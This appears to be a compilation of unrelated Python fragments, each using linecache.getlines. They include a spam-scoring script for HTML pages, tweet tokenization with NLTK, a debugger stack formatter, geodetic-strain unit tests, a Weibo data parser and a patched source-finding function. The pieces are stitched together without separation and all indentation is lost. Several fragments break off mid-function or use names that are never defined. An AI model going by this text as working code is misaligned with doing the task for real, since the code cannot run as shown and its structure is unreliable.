HtmlWordNbData = "E:\\UnderGraduateDesign\\ExperimentSample\\AssetValue\\wordnb.txt"
HtmlTagWeightData = "E:\\UnderGraduateDesign\\ExperimentSample\\AssetValue\\tagassess.txt"
HtmlWordWeightData = "E:\\UnderGraduateDesign\\ExperimentSample\\AssetValue\\wordassess.txt"
TagDict ={}
WordDict ={}
TagWeight = {}
WordWeight = {}
Tags = lc.getlines(HtmlTagNbData)
Words = lc.getlines(HtmlWordNbData)
TagWeights = lc.getlines(HtmlTagWeightData)
WordWeights = lc.getlines(HtmlWordWeightData)
Total = 125
Spam = 29
NonSpam = 96
for tag in Tags:
tag1 = tag.split(" ")[0]
proba = tag.split(" ")[1]
proba = proba.split("\n")[0]
TagDict.setdefault(tag1,proba)
for word in Words:
word1 = word.split(" ")[0]
proba = word.split(" ")[1]
proba = proba.split("\n")[0]
WordDict.setdefault(word1,proba)
for tagweight in TagWeights:
tagweight1 = tagweight.split(" ")[0]
fun = tagweight.split(" ")[1]
fun = fun.split("\n")[0]
TagWeight.setdefault(tagweight1,fun)
for wordweight in WordWeights:
wordweight1 = wordweight.split(" ")[0]
fun = wordweight.split(" ")[1]
fun = fun.split("\n")[0]
WordWeight.setdefault(wordweight1,fun)
HtmlDataPath = "E:\UnderGraduateDesign\ExperimentSample\HtmlSource2"
HtmlFiles = os.listdir(HtmlDataPath)
HtmlProbDict = {}
for f in HtmlFiles:
fo = open(HtmlDataPath + "/" + f,"r")
html = fo.read()
fo.close()
taglist = tte.Extract(html)
words = ws.ExtractCharacter(html)
wordlist = ','.join(ws.SepWord(words)).split(",")
Tprob = 1.0
Wprob = 1.0
for tag in taglist:
if TagDict.has_key(tag) and TagWeight.has_key(tag):
Tprob = Tprob*float(TagDict[tag])*float(TagWeight[tag])
for word in wordlist:
if WordDict.has_key(word) and WordWeight.has_key(word):
Wprob = Wprob*float(WordDict[word])*float(WordWeight[word])
Tprob = Spam*Tprob
Wprob = Spam*Wprob
Allprob = Tprob*Wprob
HtmlProbDict.setdefault(fng.DeGenerate(f),Allprob)
print fng.DeGenerate(f),":",Allprob
FunList = sorted(HtmlProbDict.items(), key=lambda e:e[1], reverse=True)
for fun in FunList:
print fun
import linecache
from collections import Counter
from nltk.corpus import stopwords
from nltk import bigrams
from nltk import pos_tag
import string
import re
from nltk.tokenize import TweetTokenizer
tknz = TweetTokenizer(strip_handles=True, reduce_len=True)
stop = stopwords.words('english') + list(
string.punctuation) + ['rt', 'via', 'u', 'im', '...', '..', ':)']
tweets = linecache.getlines("dev-tweets.txt")
tweets = [x.split("\t") for x in tweets]
f = open('dev-parsed.txt', 'w', encoding='utf-8')
for line in tweets:
line[2] = line[2].replace("'", " ")
terms_all = [
term for term in tknz.tokenize(line[2].lower())
if term not in stop and (len(term) > 1 and not term.isdigit())
]
bgs = bigrams(terms_all)
f.write(str([list(set(terms_all)), list(set(bgs))]) + '\n')
f.close()
print("#######################")
print("done")
def format_stack_entry(self, frame_lineno, lprefix=': ', context=None):
if context is None:
context = self.context
try:
context=int(context)
if context <= 0:
print("Context must be a positive integer", file=self.stdout)
except (TypeError, ValueError):
print("Context must be a positive integer", file=self.stdout)
try:
import reprlib # Py 3
except ImportError:
import repr as reprlib # Py 2
ret = []
Colors = self.color_scheme_table.active_colors
ColorsNormal = Colors.Normal
tpl_link = u'%s%%s%s' % (Colors.filenameEm, ColorsNormal)
tpl_call = u'%s%%s%s%%s%s' % (Colors.vName, Colors.valEm, ColorsNormal)
tpl_line = u'%%s%s%%s %s%%s' % (Colors.lineno, ColorsNormal)
tpl_line_em = u'%%s%s%%s %s%%s%s' % (Colors.linenoEm, Colors.line,
ColorsNormal)
frame, lineno = frame_lineno
return_value = ''
if '__return__' in frame.f_locals:
rv = frame.f_locals['__return__']
#return_value += '->'
return_value += reprlib.repr(rv) + '\n'
ret.append(return_value)
#s = filename + '(' + `lineno` + ')'
filename = self.canonic(frame.f_code.co_filename)
link = tpl_link % py3compat.cast_unicode(filename)
if frame.f_code.co_name:
func = frame.f_code.co_name
else:
func = "<lambda>"
call = ''
if func != '?':
if '__args__' in frame.f_locals:
args = reprlib.repr(frame.f_locals['__args__'])
else:
args = '()'
call = tpl_call % (func, args)
# The level info should be generated in the same format pdb uses, to
# avoid breaking the pdbtrack functionality of python-mode in *emacs.
if frame is self.curframe:
ret.append('> ')
else:
ret.append(' ')
ret.append(u'%s(%s)%s\n' % (link,lineno,call))
start = lineno - 1 - context//2
lines = linecache.getlines(filename)
start = min(start, len(lines) - context)
start = max(start, 0)
lines = lines[start : start + context]
for i,line in enumerate(lines):
show_arrow = (start + 1 + i == lineno)
linetpl = (frame is self.curframe or show_arrow) \
and tpl_line_em \
or tpl_line
ret.append(self.__format_line(linetpl, filename,
start + 1 + i, line,
arrow = show_arrow) )
return ''.join(ret)
'''
Test functions for applying the regionalisation of Kreemer et al. (2003):
'''
import os
import unittest
import numpy as np
from linecache import getlines
from hmtk.strain.geodetic_strain import GeodeticStrain
from hmtk.strain.regionalisation.kreemer_regionalisation import (
_build_kreemer_cell, KreemerRegionalisation)
BASE_DATA_PATH = os.path.join(os.path.dirname(__file__), 'strain_data')
KREEMER_2POLY_FILE = 'kreemer_2poly_sample.txt'
KREEMER_2REG_FILE = os.path.join(BASE_DATA_PATH,
'kreemer_2poly_sample_2types.txt')
KREEMER_POLY_SAMPLE = getlines(os.path.join(BASE_DATA_PATH,
KREEMER_2POLY_FILE))
class TestBuildKreemerCell(unittest.TestCase):
def setUp(self):
self.data = KREEMER_POLY_SAMPLE
def test_build_kreemer_polygon(self):
expected_output_1 = np.array([[179.4, -66.], [180., -66.],
[180., -65.5], [179.4, -65.5],
[179.4, -66.]])
expected_output_2 = np.array([[180., -66.], [180.6, -66.],
[180.6, -65.5], [180., -65.5],
[180., -66.]])
print(self.data)
def get_source(self, file_name=None):
if not file_name or file_name == self.registry.get("script_file_name"):
return self.registry.get("statement").split("\n")
return [e.rstrip() for e in linecache.getlines(file_name)]
def test_getlines(self):
lines = linecache.getlines(self.file_name)
self.assertEqual(lines, self.file_list)
import linecache
import time
now = time.time() # 代码开始时间 # 前期准备，整理数据
data_keys = ('bid', 'uid', 'username', 'v_class', 'content', 'img', 'created_at', 'source', 'rt_num', 'cm_num', 'rt_uid', 'rt_username' \
, 'rt_v_class', 'rt_content', 'rt_img', 'src_rt_num', 'src_cm_num', 'gender', 'rt_bid', 'location', 'rt_mid', \
'mid', 'lat', 'lon', 'lbs_type', 'lbs_title', 'poiid', 'links', 'hashtags', 'ats', 'rt_links', 'rt_hashtags', 'rt_ats', \
'v_url', 'rt_v_url')
keys = {data_keys[k]:k for k in range(0,len( data_keys))}
print(keys)
f = linecache.getlines('t2lines.txt')
lines = [x[1:-1].split('","') for x in f] # 拆分 # 1 输出用户总数
users = set([line[keys['username']] for line in lines])
user_total = len(set(users))
print(lines)
print(users)
assert type(user_total) == int
print("===========")
# 2 每一个用户的名字 list
users = list(users)
assert type(users) == list
def test_no_ending_newline(self):
self.addCleanup(support.unlink, support.TESTFN)
with open(support.TESTFN, "w") as fp:
fp.write(SOURCE_3)
lines = linecache.getlines(support.TESTFN)
self.assertEqual(lines, ["\n", "def f():\n", " return 3\n"])
def test_lazycache_already_cached(self):
linecache.clearcache()
lines = linecache.getlines(NONEXISTENT_FILENAME, globals())
self.assertEqual(False,
linecache.lazycache(NONEXISTENT_FILENAME, globals()))
self.assertEqual(4, len(linecache.cache[NONEXISTENT_FILENAME]))
def findsource(object):
"""Return the entire source file and starting line number for an object.
The argument may be a module, class, method, function, traceback, frame,
or code object. The source code is returned as a list of all the lines
in the file and the line number indexes a line in that list. An IOError
is raised if the source code cannot be retrieved.
FIXED version with which we monkeypatch the stdlib to work around a bug."""
file = getsourcefile(object) or getfile(object)
module = getmodule(object, file)
if module:
lines = linecache.getlines(file, module.__dict__)
else:
lines = linecache.getlines(file)
if not lines:
raise IOError('could not get source code')
if ismodule(object):
return lines, 0
if isclass(object):
name = object.__name__
pat = re.compile(r'^(\s*)class\s*' + name + r'\b')
# make some effort to find the best matching class definition:
# use the one with the least indentation, which is the one
# that's most probably not inside a function definition.
candidates = []
for i in range(len(lines)):
match = pat.match(lines[i])
if match:
# if it's at toplevel, it's already the best one
if lines[i][0] == 'c':
return lines, i
# else add whitespace to candidate list
candidates.append((match.group(1), i))
if candidates:
# this will sort by whitespace, and by line number,
# less whitespace first
candidates.sort()
return lines, candidates[0][1]
else:
raise IOError('could not find class definition')
if ismethod(object):
object = object.im_func
if isfunction(object):
object = object.func_code
if istraceback(object):
object = object.tb_frame
if isframe(object):
object = object.f_code
if iscode(object):
if not hasattr(object, 'co_firstlineno'):
raise IOError('could not find function definition')
pat = re.compile(r'^(\s*def\s)|(.*(?<!\w)lambda(:|\s))|^(\s*@)')
pmatch = pat.match
# fperez - fix: sometimes, co_firstlineno can give a number larger than
# the length of lines, which causes an error. Safeguard against that.
lnum = min(object.co_firstlineno, len(lines)) - 1
while lnum > 0:
if pmatch(lines[lnum]): break
lnum -= 1
return lines, lnum
raise IOError('could not find code object')
def read_linecache(file):
try:
for line in linecache.getlines(file):
print(line, end='')
except:
pass
